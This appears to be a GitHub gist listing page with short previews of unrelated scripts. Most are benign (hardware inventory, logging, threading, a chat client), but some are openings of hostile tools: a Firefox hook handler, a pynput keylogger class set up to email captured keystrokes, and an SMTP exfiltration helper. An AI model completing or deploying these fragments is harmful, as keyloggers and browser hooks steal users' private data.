This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Requires -Version 5.1 | |
| <# | |
| .SYNOPSIS | |
| Recopila las especificaciones de hardware y del sistema operativo de la máquina local | |
| y las guarda en un archivo CSV. | |
| .DESCRIPTION | |
| Script de ejecución para la evaluacion técnica de cada estación de trabajo. | |
| No se requiere acceso a la red ni conectividad al dominio. | |
| #> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Show-Tree { | |
| param( | |
| [string]$Path = ".", | |
| [int]$Indent = 0 | |
| ) | |
| Get-ChildItem -LiteralPath $Path | | |
| Where-Object { $_.Name -ne "vendor" } | | |
| Sort-Object -Property @{Expression = {$_.PSIsContainer}; Descending = $true}, Name | | |
| ForEach-Object { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from winappdbg.event import EventHandler | |
| from winappdbg.process import Process | |
| import zlib | |
| # this class specifies the module and function to intercept | |
| class FirefoxHookHandler(EventHandler): | |
| def load_dll(self, event): | |
| # Get the new module object. | |
| module = event.get_module() | |
| # evaluating |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from concurrent.futures import Future | |
| import threading | |
| import requests | |
| import logging | |
| import time | |
| # logging configuration | |
| logging.basicConfig( | |
| level=logging.DEBUG, | |
| format='%(thread)s %(threadName)s : %(message)s' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import threading | |
| import requests | |
| import logging | |
| # logging configuration | |
| logging.basicConfig( | |
| level=logging.DEBUG, | |
| format='%(thread)s %(threadName)s : %(message)s' | |
| ) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import logging | |
| # logging - test apps (debug 10, info 20, warning 30, error 40, critical 50) | |
| # changing Logging configuration for 10 and 20 messages | |
| logging.basicConfig( | |
| level=logging.DEBUG, # = 10 | |
| format='%(filename)s - %(asctime) - %(message)s %(funcName)s - %(levelname)s', | |
| datefmt="%H:%M:%S", | |
| filename='messages.txt', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pynput import keyboard | |
| import threading | |
| import smtplib | |
| class KeyLogger: | |
| def __init__(self, time_interval, email, username, password): | |
| self.log = "KeyLogger started" | |
| self.interval = time_interval | |
| self.username = username |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import subprocess, smtplib, os, tempfile, requests | |
| def send_email(email, username, password, message): | |
| # instance | |
| server = smtplib.SMTP("smtp.mailtrap.io", 587) | |
| server.starttls() | |
| server.login(username, password) # login | |
| server.sendmail(email, email, message) # sending message | |
| server.quit() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import java.util.Scanner; | |
| import java.net.Socket; | |
| import java.io.*; | |
| public class Client { | |
| // elements | |
| private Socket socket; | |
| private BufferedReader bufferedReader; | |
| private BufferedWriter bufferedWriter; | |
| private String username; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [Code] | |
| procedure RunNodeInstaller; | |
| var | |
| ErrorCode: Integer; | |
| begin | |
| if not ShellExec('', 'msiexec.exe', ExpandConstant('/i "{app}\{#NodeInstaller}" /qb'), '', SW_SHOWNORMAL, ewWaitUntilTerminated, ErrorCode) then | |
| begin | |
| MsgBox(IntToStr(ErrorCode), mbError, MB_OK); | |
| end; | |
| end; |
NewerOlder